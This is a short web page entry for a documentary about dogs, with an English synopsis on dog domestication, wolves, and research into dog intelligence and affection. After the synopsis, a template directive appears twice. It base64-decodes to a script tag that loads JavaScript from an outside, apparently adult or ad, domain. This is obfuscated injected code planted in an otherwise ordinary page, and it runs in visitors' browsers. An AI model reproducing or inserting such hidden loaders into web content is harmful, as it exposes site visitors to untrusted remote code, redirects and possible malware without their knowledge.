狗的故事

简介：Dogs have long been dependable companions by our sides. But it wasn’t always that way, and a look at their closest living relative, the wolf, makes it clear why. Research into dog domestication and intelligence offers clues into the human-dog relationship. And analyzing dogs’ brain activity and genes may even help answer whether dogs are in it for the food—or if they really love us.{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.